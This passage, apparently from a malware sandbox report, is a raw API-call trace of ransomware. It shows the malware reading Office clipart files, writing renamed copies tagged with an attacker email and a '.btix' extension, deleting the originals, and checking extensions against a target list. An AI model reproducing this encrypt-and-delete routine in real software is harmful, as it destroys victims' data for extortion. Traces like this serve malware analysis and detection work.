(lpString1=".WMF", lpString2=".btix") returned 1 [0136.194] lstrlenW (lpString="J0099146.WMF") returned 12 [0136.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.195] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=16596) returned 1 [0136.195] CloseHandle (hObject=0x530) returned 1 [0136.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 0x220 [0136.195] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.195] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.195] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0136.196] GetLastError () returned 0x0 [0136.196] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x40d4, lpOverlapped=0x0) returned 1 [0136.239] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x40e0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x40e0, lpOverlapped=0x0) returned 1 [0136.240] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.241] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.241] SetEndOfFile (hFile=0x54c) returned 1 [0136.241] CloseHandle (hObject=0x54c) returned 1 [0136.241] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.241] SetEndOfFile (hFile=0x530) returned 1 [0136.244] CloseHandle (hObject=0x530) returned 1 [0136.244] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.245] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099146.wmf")) returned 1 [0136.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.245] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.245] lstrlenW (lpString=".doc") returned 4 [0136.245] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.245] lstrlenW (lpString=".docx") returned 5 [0136.245] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0136.245] lstrlenW (lpString=".pdf") returned 4 [0136.245] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.245] lstrlenW (lpString=".xls") returned 4 [0136.245] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.245] lstrlenW (lpString=".xlsx") returned 5 [0136.245] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0136.246] lstrlenW (lpString=".ppt") returned 4 [0136.246] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.246] lstrlenW (lpString=".zip") returned 4 [0136.246] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.246] lstrlenW (lpString=".rar") returned 4 [0136.246] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString=".bz2") returned 4 [0136.246] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString=".7z") returned 3 [0136.246] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.246] lstrlenW (lpString=".dbf") returned 4 [0136.246] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.246] lstrlenW (lpString=".1cd") returned 4 [0136.246] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.246] lstrlenW (lpString=".jpg") returned 4 [0136.246] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.246] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.246] lstrlenW (lpString=".doc") returned 4 [0136.246] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString=".docx") returned 5 [0136.246] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0136.246] lstrlenW (lpString=".pdf") returned 4 [0136.246] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.246] lstrlenW (lpString=".xls") returned 4 [0136.246] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.246] lstrlenW (lpString=".xlsx") returned 5 [0136.246] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0136.247] lstrlenW (lpString=".ppt") returned 4 [0136.247] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.247] lstrlenW (lpString=".zip") returned 4 [0136.247] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.247] lstrlenW (lpString=".rar") returned 4 [0136.247] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.247] lstrlenW (lpString=".bz2") returned 4 [0136.247] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.247] lstrlenW (lpString=".7z") returned 3 [0136.247] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.247] lstrlenW (lpString=".dbf") returned 4 [0136.247] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.247] lstrlenW (lpString=".1cd") returned 4 [0136.247] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.247] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099146.WMF") returned 68 [0136.247] lstrlenW (lpString=".jpg") returned 4 [0136.247] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.247] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0136.247] lstrlenW (lpString="J0099149.WMF") returned 12 [0136.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.248] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=73214) returned 1 [0136.248] CloseHandle (hObject=0x530) returned 1 [0136.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 0x220 [0136.248] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.248] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.249] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.249] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0136.249] GetLastError () returned 0x0 [0136.249] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x11dfe, lpOverlapped=0x0) returned 1 [0136.295] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x11e00, lpOverlapped=0x0) returned 1 [0136.297] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.297] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.297] SetEndOfFile (hFile=0x54c) returned 1 [0136.297] CloseHandle (hObject=0x54c) returned 1 [0136.297] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.297] SetEndOfFile (hFile=0x530) returned 1 [0136.300] CloseHandle (hObject=0x530) returned 1 [0136.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.300] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099149.wmf")) returned 1 [0136.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.301] lstrlenW (lpString=".doc") returned 4 [0136.301] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.301] lstrlenW (lpString=".docx") returned 5 [0136.301] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0136.301] lstrlenW (lpString=".pdf") returned 4 [0136.301] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.301] lstrlenW (lpString=".xls") returned 4 [0136.301] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.301] lstrlenW (lpString=".xlsx") returned 5 [0136.301] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0136.301] lstrlenW (lpString=".ppt") returned 4 [0136.301] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.301] lstrlenW (lpString=".zip") returned 4 [0136.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.302] lstrlenW (lpString=".rar") returned 4 [0136.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString=".bz2") returned 4 [0136.302] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString=".7z") returned 3 [0136.302] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.302] lstrlenW (lpString=".dbf") returned 4 [0136.302] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.302] lstrlenW (lpString=".1cd") returned 4 [0136.302] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.302] lstrlenW (lpString=".jpg") returned 4 [0136.302] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.302] lstrlenW (lpString=".doc") returned 4 [0136.302] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString=".docx") returned 5 [0136.302] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0136.302] lstrlenW (lpString=".pdf") returned 4 [0136.302] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString=".xls") returned 4 [0136.302] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0136.302] lstrlenW (lpString=".xlsx") returned 5 [0136.302] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0136.302] lstrlenW (lpString=".ppt") returned 4 [0136.302] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.302] lstrlenW (lpString=".zip") returned 4 [0136.302] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0136.302] lstrlenW (lpString=".rar") returned 4 [0136.302] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0136.302] lstrlenW (lpString=".bz2") returned 4 [0136.303] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0136.303] lstrlenW (lpString=".7z") returned 3 [0136.303] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.303] lstrlenW (lpString=".dbf") returned 4 [0136.303] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.303] lstrlenW (lpString=".1cd") returned 4 [0136.303] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0136.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099149.WMF") returned 68 [0136.303] lstrlenW (lpString=".jpg") returned 4 [0136.303] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0136.303] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.303] lstrlenW (lpString="J0099152.JPG") returned 12 [0136.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.303] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: lpFileSize=0x2ecff14*=11694) returned 1 [0136.303] CloseHandle (hObject=0x530) returned 1 [0136.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 0x220 [0136.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0136.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.304] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.304] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0136.305] GetLastError () returned 0x0 [0136.305] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x2dae, lpOverlapped=0x0) returned 1 [0136.316] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0x2db0, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0x2db0, lpOverlapped=0x0) returned 1 [0136.318] ReadFile (in: hFile=0x530, lpBuffer=0x3b58020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfecc, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesRead=0x2ecfecc*=0x0, lpOverlapped=0x0) returned 1 [0136.318] WriteFile (in: hFile=0x54c, lpBuffer=0x3b58020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc94, lpOverlapped=0x0 | out: lpBuffer=0x3b58020*, lpNumberOfBytesWritten=0x2ecfc94*=0xec, lpOverlapped=0x0) returned 1 [0136.318] SetEndOfFile (hFile=0x54c) returned 1 [0136.318] CloseHandle (hObject=0x54c) returned 1 [0136.318] SetFilePointerEx (in: hFile=0x530, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec0 | out: lpNewFilePointer=0x0) returned 1 [0136.318] SetEndOfFile (hFile=0x530) returned 1 [0136.321] CloseHandle (hObject=0x530) returned 1 [0136.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0136.321] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099152.jpg")) returned 1 [0136.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.322] lstrlenW (lpString=".doc") returned 4 [0136.322] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.322] lstrlenW (lpString=".docx") returned 5 [0136.322] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0136.322] lstrlenW (lpString=".pdf") returned 4 [0136.322] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.322] lstrlenW (lpString=".xls") returned 4 [0136.322] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.322] lstrlenW (lpString=".xlsx") returned 5 [0136.322] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0136.322] lstrlenW (lpString=".ppt") returned 4 [0136.322] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.322] lstrlenW (lpString=".zip") returned 4 [0136.322] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.322] lstrlenW (lpString=".rar") returned 4 [0136.322] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.322] lstrlenW (lpString=".bz2") returned 4 [0136.322] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.322] lstrlenW (lpString=".7z") returned 3 [0136.322] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.322] lstrlenW (lpString=".dbf") returned 4 [0136.322] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.322] lstrlenW (lpString=".1cd") returned 4 [0136.322] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.323] lstrlenW (lpString=".jpg") returned 4 [0136.323] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.323] lstrlenW (lpString=".doc") returned 4 [0136.323] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0136.323] lstrlenW (lpString=".docx") returned 5 [0136.323] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0136.323] lstrlenW (lpString=".pdf") returned 4 [0136.323] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0136.323] lstrlenW (lpString=".xls") returned 4 [0136.323] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0136.323] lstrlenW (lpString=".xlsx") returned 5 [0136.323] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0136.323] lstrlenW (lpString=".ppt") returned 4 [0136.323] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0136.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.323] lstrlenW (lpString=".zip") returned 4 [0136.323] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0136.323] lstrlenW (lpString=".rar") returned 4 [0136.323] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0136.323] lstrlenW (lpString=".bz2") returned 4 [0136.323] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0136.323] lstrlenW (lpString=".7z") returned 3 [0136.323] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0136.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.323] lstrlenW (lpString=".dbf") returned 4 [0136.323] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0136.323] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.323] lstrlenW (lpString=".1cd") returned 4 [0136.323] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0136.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099152.JPG") returned 68 [0136.324] lstrlenW (lpString=".jpg") returned 4 [0136.324] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0136.324] lstrcmpiW (lpString1=".JPG", lpString2=".btix") returned 1 [0136.324] lstrlenW (lpString="J0099154.JPG") returned 12 [0136.324] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099154.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099154.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x530 [0136.324] GetFileSizeEx (in: hFile=0x530, lpFileSize=0x2ecff14 | out: 